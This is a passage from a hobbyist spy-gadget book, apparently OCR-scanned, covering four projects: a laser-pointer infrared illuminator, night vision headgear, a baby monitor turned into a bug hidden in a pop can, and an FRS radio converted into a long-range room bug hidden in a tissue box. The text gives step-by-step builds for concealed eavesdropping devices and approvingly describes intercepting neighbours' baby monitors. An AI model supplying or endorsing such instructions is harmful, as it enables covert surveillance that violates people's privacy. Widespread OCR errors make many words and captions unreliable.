and  a ftle  to  hack  away  at  the  thick  brass  cosing  in 
order  to  remove  the  filters,  crystals  and  optics.  You 
will  certainly  void  your  pointer’s  warranty,  and  if 
you  are  not  extremely  careful,  you  will  damage  the 
ultrasensitive  laser  diode,  which  is  connected  by  a 
wire  QiM  makes  a human  hair  like  a crane  cable  in 
comparison.  Scored  yet?  Good,  because  a green 


laser  pointer  cost  at  least  $150  when  1 wrote  ibis, 
and  most  of  them  were  manufactured  differently: 
even  units  from  the  same  manufacturer  with  the 
same  part  number.  Why  not  just  purchase  a 
premade  500  mW  ioAved  laser  module  instead? 
Well,  check  out  the  prices  on  those  units  and  you 
will  see  why  this  is  a worthwhile  hack! 

Still  moving  ahead  on  this  project?  Great,  but 
before  you  start  filing  down  that  laser  pointer  shell, 
do  an  Internet  search  for  "green  laser  dissection," 
and  you  will  find  a couple  of  very  well  made 
Webpages  detailing  the  exact  procedure  complete 
with  information  on  what  makes  these  green  lasers 
function.  If  you’re  lucky,  you  may  have  the  sume 
pointer  as  the  one  that  was  taken  apart.  When  you 
do  manage  to  tear  the  pointer  down  to  the  bare 
la.ser  diode  and  driver  module,  it  will  probably 
look  something  like  the  one  shown  in  Figure  S-ld. 
The  cylindrical  brass  head  is  a mounting  plane  and 
heat  sink  for  the  extremely  tiny  but  powerful  laser 
diode,  and  you  should  avoid  touching  any  pan  of  it 
a.x  you  might  ^ak  the  liny  connecting  wire. 

If  you  are  good  with  a soldering  iron,  then  you 
will  want  to  remove  the  tiny  contact  switch  and 
install  two  power  leads,  keeping  in  mind  that  the 
outer  shell  for  most  laser  pointers  is  the  positive 


Figure  6-16  A hacked  gre«n  laser  pointer  reduced  to 
the  diode  and  driver  board. 
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Figure  B*17  An  assortment  of  \enses  used  for  loser 
focusing  tests. 


connection.  La.ser  pointers  are  not  nearly  as  robust 
as  laser  modules,  due  to  (heir  battery  operation,  so 
Slaying  with  a 3'volt  battery  pack  is  your  safest 
option  when  powering  up  (he  module.  You  can  use 
whatever  size  of  batteries  you  (ike,  just  moke  sure 
the  output  voltage  does  not  exceed  3-volu.  or  your 
laser  module  will  die  instantly.  Also,  do  not  just 
connect  up  the  battery  pack  and  flail  (his  module 
around  looking  for  the  beam  like  you  did  in  the 
previous  project,  as  this  unit  can  produce  100 
times  the  power.  Close  all  doors  in  your  workshop 
and  make  sure  there  is  no  chance  of  a reflection  or 
stray  observer  coming  in  direct  exposure  (o  (he 
beam.  I like  to  work  with  a camera  viewfinder  so 
(hat  my  eyes  are  completely  covered,  as  there  is  no 
chance  of  catching  the  beam  in  the  eyes.  Even 
without  any  lens  at  all.  this  laser  module  can  throw 
some  serious  power,  as  you  will  soon  find  out 
when  you  watch  the  video  monitor. 

After  the  initial  testing  to  make  sure  the  module 
is  still  functional,  you  wUJ  probably  notice  the 
same  effects  you  did  in  (be  first  experiments 
with  the  low  power  module — (he  beam  teods 
to  become  extremely  wide  after  approximately 
10  feet  or  so.  Even  with  100  times  the  power, 
the  beam  is  still  much  too  spread  out  to  be  useful 


es  a night  vision  illutninaioi  for  distances  ON'er 
20  feet,  so  some  type  of  focusing  lens  is  going  to 
be  necessary. 

My  goal  was  to  create  an  illuminator  that  would 
light  up  a target  the  size  of  a large  house  at  about 
1000  feet  from  the  source,  so  a small  degree  of 
focusing  was  needed.  None  of  the  optics  that  came 
with  the  original  laser  pointer  were  of  any  use,  so  1 
dug  out  all  (he  various  optics  that  1 hove  salved 
over  the  years  from  broken  camcorders,  cameras 
and  scanners.  Figure  8>17  shows  some  of  the 
lertses  I tested  when  building  this  device. 

The  leas  that  seemed  most  compatible  with  my 
goals  was  a I ‘inch  wide  aluminum  cylinder  with  a 
lens  at  each  end.  1 think  it  was  taken  from  the 
inside  of  an  old  computer  scanner.  A lot  of  the 
other  lenses  seemed  to  give  decent  results  as  well, 
but  this  one  would  make  (he  task  of  laser 
mounting  very  easy  due  to  its  shape  and  size.  The 
laser  module  was  placed  back  into  a small  bit  of 
(he  original  pointer  shell  to  protect  the  laser  diode 
and  then  it  was  hot  glued  directly  to  the  face  of 
(he  lens  1 planned  (o  use  for  this  project.  As  shown 
in  Figure  8-18.  the  unit  was  nice  and  compact 
and  would  allow  for  easy  mounting  into  some 
type  of  cabinet.  If  I wanted  to  fine-tune  the  focus. 

I could  still  unscrew  the  laser  module  slightly  in 
either  direction  since  it  threaded  directly  into  the 
brass  shell. 

Then.  I added  the  laser  and  lens  module  into  a 
plastic  box  with  (he  (wo  AA  battery  pack  and 
installed  a power  switch  with  a bright  red  LED  to 
alert  me  ihauhe  power  Is  on.  Although  the  beam  is 
not  highly  collimated,  I would  still  not  want  to  get 
a shot  in  the  eyes  with  this  beast  at  close-range. 
This  unit  is  now  a fully  functional  300  mW 
infrared  laser  illumiaaior.  not  all  that  dilferent  than 
the  devices  you  can  purchase,  and  although  they 
claim  to  be  eye  safe,  I don’t  plan  on  testing  that 
theory.  Uk  final  unit  is  shown  in  Figure  8-19 
complete  with  power  switch  and  warning  light 
(highly  lecomm^Kled).  The  two  AA  batteries 
produce  the  required  3-volts,  and  can  power  the 
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Project  50— Long-Range  Laser  Illuminator 


Project  5 0— Long - Range  Laser 


Figure  0-^8  The  laser  module  is  ntotinied  to  a 
foaising  lens  assembly. 


Figure  0-19  The  high-power  m/nml  laser 
illuminaior  naJy  far  UL'li4>n. 


unit  for  hour.v  ui  a time,  although  1 rarely  leave  ii 
on  for  more  Iban  a aiinute  as  much  of  the  laser 
diode's  cooling  abililies  were  reduced  when  the 
brass  l&scr  pointer  shcU  was  removed.  If  you  plan 
on  running  a hacked  laser  pointer  like  this«  then 
you  might  want  to  screw  the  brass  head  into  a beat 
sink  or  install  a fan  to  keep  the  unit  cool. 
Overheating  the  laser  diode  may  cause  il  lo  fail 
and  will  most  certainly  reduce  its  life  span. 


Figure  8^0  77i^  high-power  infrared  laser 
illuminator  is  very  effecri\’e. 


The  results  (hut  you  can  achieve  with  this  device 
are  truly  impressive.  At  a distance  of  several 
hundred  feet,  the  illuminated  area  looks  better  than 
(he  pulsed  array  of  49  LEDs  did  at  a mere  10  feel. 
The  illuminator  has  such  u far-reaching  range  lliat 
1 ended  up  mounting  my  low  Iuk  video  camera  to 
the  eyepiece  on  a pair  cd*  30x  power  binoculars 
lo  extend  their  focal  rartge.  If  1 were  to  build  this 
project  again.  1 would  probably  also  want  some 
control  ovtr  the  laser  focusing  lens  in  order  lo 
widen  or  shorten  the  beam  when  working  at  great 
distances.  Currently,  it  is  fixed  to  work  perfectly  at 
about  500  feet.  Again,  due  to  the  characteristics  of 
the  laser  diode,  the  projected  beam  is  shaped  more 
like  a rectangle,  but  for  this  use  il  actually  makes 
targeting  much  easier.  Figure  8-20  shows  the 
extremely  well  lit  target  area  of  about  30  feel  wide 
and  15  feet  high  from  a distance  well  beyond  the 
reach  of  LED  based  illuminaiiun  devices.  Always 
remember  to  avoid  reflections  aod  never  aim  this 
device  at  any  person  or  living  thing,  especially  at 
close-range. 

The  results  (hat  can  be  achieved  by  this  device 
are  very  impressive,  especially  when  coupled  with 
a low  lux  black  and  while  camera  looking  through 
high-power  optics  such  as  a telescope  or  u pair  of 
binoculars.  This  device  operates  on  the  same 
F^ciples  as  some  commercially  available  units. 
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using  a defocused  lasei  diode  with  power  levels 
between  250  milliwans  nght  up  to  5 waus  or  more, 
so  it  is  certainly  a worthwhile  hack  to  extend  your 
stealth  capabilities.  Now,  if  you  want  the  ulttmaie 


in  tactical  vision  gear.  UK  tUU 
which  will  give  you  a wearable  night  vision  device 
like  the  ones  you  see  worn  by  the  military  in  spy 
movies. 


H 

0 

u* 

(D 

a 

ft 


Project  51 — Night  Vision  Headgear 


This  is  one  of  the  most  ‘‘fashionable"  and  familiar 
projects  in  (his  book  because  it’s  a wearable  high 
tech  piece  of  spy  gear  (hat  used  to  be  exclusively 
used  by  miUiary.  law  enforcement  and  inielligence 
agencies.  There  is  just  something  "coor  about 
running  through  a completely  pitch  black  area 
being  able  to  see  everything  in  your  path  as  though 
it  were  fully  lit.  Now,  you  can  have  your  very  own 
night  vision  equipment  at  a fraciion  of  the  cost. 
Although  you  can  spend  a few  hundred  dollars  to 
purchase  one  of  these  devices.  I wit)  show  you 
how  to  build  one  that  works  just  as  wet)  using 
nothing  more  than  a handful  of  LEDs,  an  obsolete 
camcorder  viewfinder  and  an  inexpensive  black 
and  white  spy  camera.  This  device  can  easily  light 
a large  room  with  enough  light  to  see  how  many 
fingers  your  test  subject  is  holding  up  from  20  feet 
away,  and  it  is  completely  eye  safe,  unlike  (he  laser 
projects.  The  device  can  be  built  as  a hiUi(i*held 
unit  like  mine,  or  made  to  be  worn  on  the  head  like 
(he  units  you  .see  worn  by  the  military  in  covert 
night  operations. 

You  will  need  three  things  to  make  this  project: 
a low  lux  black  and  white  spy  camera  like  (he  ones 
shown  throughout  this  section,  a handful  of 
infrared  LEDs  (I  used  18  of  them),  and  an  old 
camcorder  to  tear  apart  for  (he  viewnnder.  The 
viewfinders  on  old  VHS  camcorders  are  perfect  for 
this  project  because  you  can  find  them  at  junk 
shops  and  pawn  shops  for  only  a few  dollars,  and 
they  can  easily  be  removed  from  tbe  camera  as 
fully  functioning  NTSC  video  mwiitors.  Newer 
camcorders  have  LCD  viewfinders  that  do  not 
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accept  standard  NTSC  video  signals  is  their  input,  p. 
so  this  type  will  not  work  for  this  use.  If  for  some  tQ 
reason  you  cannot  find  an  old  camcorder  to  hack  to  CT* 
bits,  jusi  do  an  Internet  search  for  “NTSC  ft 

viewfinder"  and  you  will  find  several  sources  that 
sell  these  units  ready  to  go — no  hacking  is 
necessary.  Of  course,  in  true  Evil  Genius  spirit,  it's 
always  mwe  tun  to  hack  some  obsolete  junk  into 
your  high  lech  creations.  Figure  8*2 1 shows  one  of 
these  huge  gangly  black  and  white  viewfinders 
ripped  from  a 1990*s  VHS  camcorder. 

Most  of  these  viewfinders  will  have  at  least  three 
wires  on  (he  connecting  cable,  but  some  might 
have  as  many  as  ciglit  or  more.  Don't  worry,  I have 
hacked  a dozen  of  these  viewfinders  from  many 
dilfercm  camcorders  and  have  always  been  able  to 


Fi9ure  B-21  A biack  and  wVuVr  viewfinder  hacked 
from  an  old  camcorder- 
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reduce  the  wire  count  10  onJy  three — po'.ver  (^12 
volts  DC),  ground,  and  video  input  (NTSC).  There 
is  absolutely  no  logical  color  coding  to  the  wiring, 
so  you  are  going  to  have  to  open  up  the  unit  and 
look  for  dues  as  to  which  wire  does  what 
Identifying  the  ground  wire  is  easy.  It  will  be 
connected  to  the  metal  cha.s$is  surrounding  the 
small  picture  lube  either  directly  or  through 
various  traces  on  the  circuit  board.  All  of  tbe 
capacitors  v^dll  have  their  negaiiv^e  lead  connected 
to  this  trace  as  well.  The  power  wire  will  probably 
head  directly  into  a large  capacitor,  diode  or  power 
regulator,  but  again  you  can  identify  this  wire  by 
looking  up  the  pinout  for  the  large  1C  on  the  small 
circuit  board  (it  will  be  a video  generator  IC)  to 
determine  its  VDD  (positive  supply)  pin,  and  then 
u^ace  it  back.  Once  you  have  ideniified  ihe  power 
and  ground  connections,  connect  them  to  an 
adjustable  power  supply  and  slowly  turn  up  (he 
voltage  while  you  monitor  the  amp  meter.  At 
around  8 volis,  the  viewfinder  should  be  drawing 
no  more  than  200  milliamps  and  the  small  video 
screen  will  begin  (0  light  up.  With  the  unit  lit  up. 
simply  connect  the  ground  wire  to  (be  ground  wire 
on  a video  source  then  try  every  oihcr  unchecked 
wire  by  feeding  the  video  .signal  into  them.  Sooner 
or  later  you  will  gel  an  image  on  the  screen.  I like 
to  do  this  test  with  an  old  VCR,  just  in  case  you 
feed  the  supply  voltage  into  the  video  line,  as  this 
seem.s  to  not  affect  the  device.  Once  all  three  wires 
arc  identified  and  you  have  an  image  on  the 
viewfinder,  just  back  off  any  remaining  wires,  as 
whatever  they  did  will  no  longer  be  of  any 
concern.  On  my  unit,  the  red  wire  was  negative, 
the  orange  wire  was  positive,  and  the  yellow  one 
was  the  video  input.  Remember  what  I said  about 
no  logical  color  code? 

With  the  viewfinder  up  and  ruiming  tbe  next  step 
is  to  mount  the  unit  in  a plastic  box  that  has 
enough  room  for  the  battery  pack  you  plan  to  use 
as  well  as  the  low  lux  black  and  while  camera  You 
may  also  want  to  install  the  LEDs  into  the  same 
box.  but  ( found  it  ea.sler  to  mount  them  as  a 
separate  unit  for  later  expenmeotation  and  use  in 


B91X6  8*32  Uounniin  ihe  vie¥,fintifr,  bewry  and 
tow  hu  camera  together. 


Other  projects.  Figure  8>22  shows  the  viewfinder, 
baiiery  and  camera  mounted  in  the  plastic  box  and 
held  in  place  with  a bit  of  hoi  glue. 

You  will  want  10  make  sure  the  viewfinder's 
eyepiece  is  mourned  in  a position  that  keeps  ihe 
plastic  box  from  hitting  your  face,  just  like  it  was 
on  (he  original  camcorder.  I built  my  unit  so  that 
the  box  was  placed  between  my  eyes  allowing  the 
video  camera  10  be  positioned  directly  between  my 
eyes.  This  will  help  you  navigate  a completely 
dork  room  by  stkowiog  you  an  image  on  the 
viewfinder  that  closely  approx  i males  your  own 
vision.  If  the  camera  were  wi  of  alignment  with 
your  center  of  vision,  you  may  find  your  self 
banging  inio  door  frames  or  table  comers.  At  this 
point  I am  able  to  test  to  make  sure  the  video 
camera  and  viewfinder  are  working  by  supplying 
the  power  to  both  components.  Oops,  my  first  test 
res'ealed  that  my  image  was  upside  down  due  to 
the  reversed  insialladoo  of  the  view6nder!  This 
was  easy  10  fix  simply  by  turning  the  camera 
upside  down  and  gluing  it  back  in  place.  1 was 
pretty  impressed  at  bow  much  light  the  camera 
alone  could  process  without  any  infrared  aid 
msiaUed  yei.  1 could  see  details  in  a room  that 
were  very  difficuli  to  see  with  the  naked  eye,  so  I 
knew  (hat  (his  project  was  going  to  turn  out  nicely. 
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Figure  8*33  Infrund  LED  iUuminutor  box  and 
s^vitch  rtadyfor  imiafleuion. 

The  next  is  (he  creation  of  (he  infrared 
illumination  box.  [ knew  how  sensitive  this  low  lux 
camera  was.  so  \ opted  for  a straight  conneciioo  (O 
the  DC  power  source  over  puised  mode  operation 
becau.se  I was  worried  that  [ might  actually 
generate  loo  much  infrared  light  for  the  camera. 

By  using  a separate  box  for  (he  18  infrared  LEDs 
1 had  ample  room  to  add  a pulse  circuit  later  if  1 
thought  it  would  be  necessary.  The  t.5-voll  LEDs 
are  wired  as  a series  siring  of  six  connected  in 
parallel  to  three  fdentical  strings,  giving  each  of 
the  18  LEDs  I.4>volts  from  the  8.4'Volt 
nxhargeable  battet7  used.  For  more  infomiHiion 
OQ  series/paraliei  LED  wiring  (refer  to  Project 
46^LED  Night  Vision  Illuminator,  earlier  in  this 
\ aection).  The  power  switch  was  also  added  to  this 
box.  and  would  serve  as  the  master  switch  for  the 
entire  device.  Figure  8-23  shows  the  illuminator 
, box  containing  the  18  LEDs  and  power  switch 
with  ample  room  for  future  expansions. 

The  iUumiDator  box  is  simply  bolted  to  (be  lid 
on  the  viewfmder  box  once  the  switch  has  been 
wired  to  the  power  source  to  complete  the  unit. 

M this  point,  you  should  be  able  to  run  through 
your  house  in  pilch  darkness  without  any  trouble 
wfaaisoever.  OK.  before  you  try  running,  power 
tp  the  unit  and  get  used  to  looking  through  a 
vKwfinder.  as  it  lakes  a bit  of  getting  used  to 
Spending  on  the  field  of  view  that  your  camera 
uces.  You  may  also  need  to  focus  the 


Rgurp  0-3M  7>if  sitahhy  infhsr^  nighi  vision  dfvke 
is  an  fxceptiotKif  performtr. 


Figure  0*35  This  night  vision  devlct  wonkr  like  an 
~imisibfe  " /iashUgfu. 

viewfinder  by  turning  the  Little  black  knob  that 
moves  the  tiny  exit  Jens  back  and  forth  in  llic 
eyepiece.  If  everything  wem  as  planned,  then 
you  will  be  amazed  at  how  well  this  stealthy  spy 
device  works  in  complete  darkneiu.  As  shown  in 
Figure  8-24.  this  night  vision  device  looks  like  it 
means  business,  and  can  ea.sily  outperform  the 
original  '‘green  screen"  militaiy  units  based  on  the 
bulky  power  hungiy  <^tical  tubes.  Even  outdoors, 
this  little  device  is  very  capable. 

There  are  no  risks  to  human  vision  with  this 
unit.  a.s  the  LEDs  do  not  put  out  enough  power 
density  (o  cause  eye  damage,  so  you  can  use  this 
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Project  5 1— N ight  Vision  Headgear 


Project  51— Night  Vision  Headgear 


device  anywhere.  You  may  need  lo  get  used  to 
looking  into  the  eyepiece  while  wandering  around, 
but  it  will  only  lake  a few  minutes  lo  become  an 
expert  at  this.  You  can  also  work  the  unit  into  some 
type  of  retractable  bead  gear  and  external  baoery 
pack  for  long-term  use  where  you  may  be 
switching  between  pitch  black  and  visibly  lit  areas. 
A few  other  nice  features  that  I con  think  of  would 
be  the  installation  of  a three-way  switch  to  control 
how  many  LEDs  are  lit  at  once  in  cases  where  you 
are  very  close  to  the  target  and  the  scene  is  too 
bright,  or  even  the  addition  of  a super  sensiiive  spy 
microphone  like  one  of  the  ones  shown  previously 
in  Section  TWo.  Whatever  your  intended  use  for 
this  device.  1 am  sure  you  will  be  more  than 


satisfied  with  ils  r^radorTahd,  as  shown  in 
Figure  S-25,  its  ability  to  light  up  a room  like  a 
high-power  flashlight  is  iniiy  impressive. 

Well.  1 hope  you  bad  fun  with  this  section:  night 
vi&irm  has  always  been  a fun  t<^ic  to  experiment 
with,  and  you  can  produce  some  very  capable 
devices  for  a fiaciion  of  the  cost  of  commercial 
units.  There  is  a lot  of  room  to  experiment,  and 
since  there  are  always  technological  advances  in 
imaging  devices  and  infrared  emitters,  it  won't  be 
long  before  my  next  experiment  will  have  (he 
ability  to  see  right  through  walls.  I am  not  kidding) 
In  the  meaniime,  read  on  to  leam  bow  you  can 
build  simple,  yet  effective  audio  transmitters  with 
impressive  sensitiviiy  and  range. 
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Section  Nine 

Rudio  Bugs  and  Transmitters 

Project  52 — Hacked  Baby  Monitor  Bug 


In  Section  Twelve,  there  is  an  interesting  bit  of 
information  regarding  the  use  of  a radio  scanner  to 
intercept  the  transmissions  from  cordless  room 
monitors  (buby  monitors).  Because  these  devices 
VC  normally  left  running  at  all  times,  and  due  to 
the  fact  thill  they  have  whisper  sensitive 
preamp  I i tiers  and  a fairiy  decent  range,  they  are  an 
amateur  spy’s  dream  come  true.  These  units  have 
only  u few  channels  and  frequencies,  but  you 
really  don’t  need  a fulUhlown  radio  scanner  to 
snoop  for  nearby  base  trarL^missions — you  only 
need  the  receiver.  1 wo.s  bored  one  day  and  decided 
10  mount  my  rixim  monitor  to  a magticitc  mount 
CB  antenna,  then  hit  the  road  looking  for 
transmissions  by  flipping  the  channel  selection 
switch  between  the  four  channels  once  every  few 
seconds,  hoping  that  I would  eventually  pick  up  a 
clear  broadcast.  I was  pleasantly  surprised  when  1 
did  not  even  make  it  to  the  end  of  the  blix.'k  and 
already  had  found  two  crystal  clear  transmissions. 
Within  a minute  or  two  of  driving.  I realized  that 
the  entire  populated  area  was  jam  packed  with 
these  invasive  devices,  ready  for  anyone  with  a 
radio  scanner  or  receiver  unit  to  eavesdrop  on 
every  sirigic  noise  in  the  house.  These  baby 
monitors  worked  so  well  os  accidental  room  bugs, 
that  I decided  to  purcha.se  one  for  diitsection  in  an 
attempt  to  hack  it  into  a more  coven  <tevice.  The 
result  was  very  successful. 

The  baby  monitor  set  will  consist  of  a base 
station  that  plugs  into  the  wall  via  a DC  adapter, 
and  a portable  receiv'er  unit  that  will  run  from  a 
battery  or  DC  adapter.  The  receiver  will  have  a 


volume  control  and  possibly  a signal  strengili 
indicator,  and  both  units  will  have  a channel  switch 
that  aJU>ws  the  changing  of  minsmii  and  receive 
frequencies  in  ca.se  there  is  nearby  imerferencc. 
The  inexpensive  set  I used  for  experimentation  is 
.shown  in  Rgure  9*1  w*iih  the  receiver  on  ihe  left 
and  the  ba.se  transmitter  on  dte  right. 

My  unit  hod  a ba.se  transmit  frequency  of 
49  MHz.  hut  any  unit  will  work,  including 
27  MHz.  900  MHz.  1.2  GHz  and  whatever  else 
is  olTered.  as  long  os  the  base  and  receiver  match 
in  frequency.  The  goal  will  be  to  reduce  the 
iran.smittcr  to  die  smallest  possible  footprint, 
power  it  from  a battery  and  then  hide  it  in  an 


Figure  9.1  A typical  hahy  monitor  uu  The  receiver  is 
on  ifte  left  ami  trammiiier  is  on  the  right. 


Ill 


Figure  9*2  Cunin^  the  imrisnutter  to  the  ban 
essentials  to  reduce  its  size~ 


Figure  9*9  A pop  con  and  drinking  straw  hide  the 
iransmiiter  perfectly. 
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inconspicuous  household  ^Ject  so  that  it  can 
be  hidden  covertly  in  the  room  to  be  mooitored. 

A 9* volt  bauery  will  power  the  iransmiiter  for 
several  hours,  and  you  really  don't  have  lo  worry 
too  much  about  the  uttit's  rated  voltage.  I have 
used  a 9*volt  battery  with  no  problem  at  all  on 
base  units  rated  os  high  as  12  volts  DC  and  as 
low  as  5 volts  DC. 

Begin  by  gutting  the  base  unit  to  remove  the 
entire  plastic  case,  being  careful  not  to  break  the 
two  small  wires  connecting  the  electret  microphone 
U)  the  circuit  board.  The  microphone  is  probably 
glued  to  (he  from  half  of  (he  casing,  so  you  will 
need  to  pry  it  oft  with  a small  screwdriver  or  knife. 
You  also  want  to  remove  the  antenna  wire  from  ils 
connection  point  on  the  antenna  if  there  is  one 
(sometimes  they  are  fake).  When  you  have  the 
circuit  board  removed  from  the  casing,  unsolder  (be 
DC  adapter  jack,  making  note  of  polarity,  and 
simply  solder  a 9*volt  battery  clip  in  place.  As 
shown  in  Figure  9>2,  my  base  transmitter  unit  is 
reduced  to  the  bare  essentials  and  converted  to  run 
on  a 9*volt  battery.  The  small  switch  next  to  the  two 
crystals  allows  switching  between  channel  A and  B. 

My  circuit  board  was  small  enough  to  fit  into  a 
pop  can,  and  the  antenna  would  blend  m nicely  if 
fed  into  a straw  and  placed  into  the  can  as  if 
someone  were  drinking  the  pop.  A IQ-inch  length 
of  stiff  copper  wire  was  soldered  in  place  of  the 
short  wire  that  was  originally  used  for  the  antenna 


so  (hat  it  could  be  held  in  place  and  easily  adjusted 
for  best  results.  The  bottom  of  (be  pop  can  was 
hacked  out  using  a steak  krufe.  and  the  circuit 
board,  battery,  and  micro^one  will  be  placed 
Inside  (hen  secured  by  a bit  of  duct  tape  to  cover 
(he  hole.  The  microphone  ts  so  sensitive  that  it 
worited  perfectly  simply  by  placing  it  near  the 
lining  in  (he  top  of  the  can.  but  if  you  fmd  the 
sound  a bit  muffled,  a tiny  hole  is  all  (hat  would  be 
needed  in  whatever  casing  you  are  using  to 
disguise  (be  tiansmiuer.  As  shown  in  Figure  9*3. 
the  pop  can  will  make  a great  home  for  the  new 
coven  baby  monitor  spy  device,  and  the  antenna 
will  function  perfectly  hidden  inside  the  drinking 
unw. 

The  completed  unit  not  only  worked  perfectly, 
but  also  seemed  to  have  greatly  improved  range 
over  the  original  design  1 My  theory  is  that  the 
longer  antenna  and  metal  can  increase  the  range  by 
improving  the  RF  shielding  and  allowing  the  can 
to  act  as  a ground  plane  for  transmission.  The 
tjansmissioD  could  be  picked  up  by  the  hand-held 
receiver  for  as  far  as  i felt  like  walking,  and  the 
sensitivity  was  so  good  that  every  conversation 
could  be  heard  clearly,  even  if  originating  in  a 
differeni  room  than  the  transmitter.  The  only  risk 
with  this  device  is  that  a person  may  walk  by  and 
feel  the  need  for  a sip  of  pop.  or  decide  to  tidy  up 
a bit  and  throw  out  your  beautiful  coven  spy 
device.  As  you  can  see  (Figure  9A),  the  transmitter 
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Figure  9-M  f^o(hing  lo^ka  suspivious  in  this  scene, 
just  don  ‘i  lake  a drinkf 


no(  only  blends  perfe«ly  imo  ju«it  aboui  any 
environmem,  bui  i(  also  looks  very  reEresbing. 

To  intprove  die  receiver.  I added  a long 
lelescopiog  antenna  in  place  of  Ibe  fake  rubber  one 
ihai  came  with  the  uoit.  and  then  1 removed  the 
built-in  speaker  and  fed  the  audio  into  a | stereo 
headphone  jack  to  allow  die  use  of  headphones  to 
greatly  improve  the  sound  quality.  By  using 
headphones,  you  could  walk  around  the 
neighborhood  searching  for  mote  open  baby 
monitor  transmissions  without  looking  suspicious 
while  coirying  a baby  monitor  pressed  to  your  ear. 
A seasoned  evil  genius  should  always  blend  in! 
Now.  if  you  want  some  serious  range  on  your  next 
spy  gadget,  keep  on  reading. 


Project  53 — FR5  Radio  Long-Range  Bug 


I enjoyed  the  baby  monitor  hack  quite  a bit.  but 
found  that  u two  or  three  block  range  was 
sometimes  not  enough,  especially  when  the  target 
was  mobile.  1 originally  attempted  to  add  another 
stage  to  the  transmitter,  boosting  its  power  into  the 
15  watt  range,  but  all  I managed  to  do  was  wipe  out 
local  PM  radio  broadcasts  and  drain  batteries,  so 
that  experiment  was  quickly  abandoned  in  fear  of 
having  the  **pirate  radio  police’*  come  knocking  ai 
my  door  I was  later  looking  through  my  box  of 
scrap  radio  and  RF  equipment  and  I found  an  old 
pair  of  FRS  radios  once  used  in  some  long-range 
robotics  experiments.  I knew  that  these  small  radios 
could  ea.<iily  transmit  for  several  miles,  aod  they 
took  up  no  more  space  than  the  baby  monitor  base 
transmitter.  With  a few  modifications  to  the  input,  1 
theorized  that  this  radio  should  be  able  to  pick  up 
every  whisper  in  a room  just  like  the  baby  monitor 
was  able  to  do  and  transmit  it  for  distances  way 
beyond  the  reach  of  the  baby  mooilor. 

The  two  15  channel  FRS  (family  radio  system) 
units  I decided  to  experiment  on  ore  shown  in 


Figure  9-5.  They  are  quite  small,  run  from  a pair  of 
AA  batteries,  and  achieve  a very  respectable  range 
of  operation. 
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Figure  9-5  FRS  radios  art  small,  and  can  easily 
transmit  several  miles. 
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Project  53— FRS  Radio  Long-Range 


Project  53—FRS  Radio  Long-Range  Bug 


Figure  9*6  mdio  shtfwtng  mkn}ithttnr  ustd 

imn^imit  buiton  extemum  wins. 


The  one  pn>blem  with  usin^  these  radios  for 
audio  eavesdropping  is  that  the  built-in 
microphone  has  very  poor  response  lo  sounds  that 
arc  ntorc  than  u few  inches  away  from  the  radio, 
which  is  what  makes  the  unit  perform  properly  in 
iu  designed  use.  There  were  no  adJuMablc  pans 
inside  the  unit,  and  except  for  a few  large  RF 
components,  the  rest  of  the  circuitry  was  hidden 
under  a blob  of  epoxy,  so  hacking  the  radio's 
circuit  would  not  be  possible.  However,  it  was 
possible  to  remove  the  elecirei  microphorte  from 
the  unit  and  replace  it  with  a pair  of  wires  that  will 
luier  connect  to  an  ultrasensitive  preamplifier  to 
boost  the  sensitivity  of  the  unit  to  whisper 
capability.  A perfect  prenniplifier  that  could  feed 
this  radio  was  covered  in  Section  Two.  Project 
2'-Ultrahigh-gain  Microphone  Preamp,  so  look 
back  at  that  project  if  you  do  not  wish  to  design 
one  from  scratch,  In  addition  to  a pair  of  wires 
feeding  the  audio  input  on  the  radio,  you  will  also 
need  to  locate  the  transmit  switch  and  either  solder 
a pair  of  wires  to  it.  or  simply  solder  a wire  across 
Ihe  contact  to  keep  it  permanently  engaged  for 
continuous  transmission.  I chose  the  extension 
wires  so  that  I could  shut  the  transminer  o5  ea.sily. 
or  control  it  for  timed  operation  using  a relay  and 
timer  circuit,  motion  sensor,  or  light  activated 
relay.  The  radio  is  shown  in  Figure  9-6  with  the 
microphone  input  wires  and  transmit  switch  wires 


soldered  to  Ibe  circuci  ooara  wnen  meaning  the 
microphone  wires,  make  note  of  the  polarity,  as 
there  may  he  a ground  pin  and  signal  pin.  If  you 
rev'crse  these  two  wires,  your  preamplifier  may 
inject  a great  deal  of  noise  into  the  radio. 

1 hav*e  noticed  that  some  newer  FRS  radios 
acrually  have  a mkrophooc  input  jack  already 
installed,  .so  this  will  save  you  a bit  of  soldering, 
and  if  you  really  wanted  to  be  lazy,  a tie  wrap 
across  the  transmit  switch  would  mean  that  no 
modifications  to  the  radio  would  be  necessary.  Of 
course.  I enjoy  hocking  things,  .so  this  was  the  way 
to  go.  Once  I added  the  preampli^er  and  transmit 
switch.  1 set  up  (lie  radios  on  channel  13  and  tested 
the  unit.  The  preamplifier  was  so  sensitive  that  I 
had  to  take  the  receiver  outside  the  house  to  avoid 
feedback,  and  1 could  hear  a sound  as  faint  as  a pin 
drop  in  (he  next  room.  The  range  was  exceptional 
as  expected,  and  es«n  while  holding  the  receiver 
inside  the  car.  I couk)  easily  drive  a mile  away  and 
pick  up  the  transmission. 

Again,  using  headphones  to  receive  the  audio  is 
much  better  than  pressing  the  radio  speaker  to  your 
ear,  and  if  you  get  out  of  range,  an  external 
untenna  can  sometimes  help  out  a liiUc  bit. 

Another  thing  to  keep  in  mind  is  that  you  are  not 
the  only  one  that  can  intercept  these  transmissions, 
as  FRS  radios  have  absolutely  no  security 
functionality,  and  (hat  ''secret  code’*  jargon  is 
truly  misleading,  as  it  does  not  scramble  or  hide 
your  (ransmission  in  any  way.  My  completed  FRS 
radio  hack  is  shown  in  Figure  9-7.  just  before  the 
initial  lesl. 

The  only  thing  left  was  to  find  creative  ways 
to  disguise  the  trarLsmiiter  to  blend  in  with  its 
suiToundings.  In  the  last  project  I used  a pop  can. 
but  there  was  the  slight  risk  of  being  exposed  if 
someone  picked  up  the  can  for  whatever  reason, 
so  this  Hmg  I decided  to  hide  the  unit  without 
affecting  the  usability  of  the  concealment  device. 

Figure  9'K  shows  the  long*ninge  FRS  transminer 
and  preamplifier  hidini  inside  a box  of  facial 
tissue.  The  great  thing  about  this  hack  is  that  the 
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Because  of  (he  finicky  oature  of  radio  waves 
combined  with  the  “darit  an'’  of  coil  winding, 
experimenting  with  home  brew  radio  trojiscmiters 
has  been  a road  less  traveled  by  many  electronics 
hobbyists,  even  those  with  years  of  experience.  Let 
me  clear  this  up  right  now.  Building  a small  FM 
transmiUer  is  no  more  difficult  than  any  basic 


electronic  circuiL  and  any  coils  you  may  need  can 
be  easily  made  by  simple  trial  and  error  using  a few 
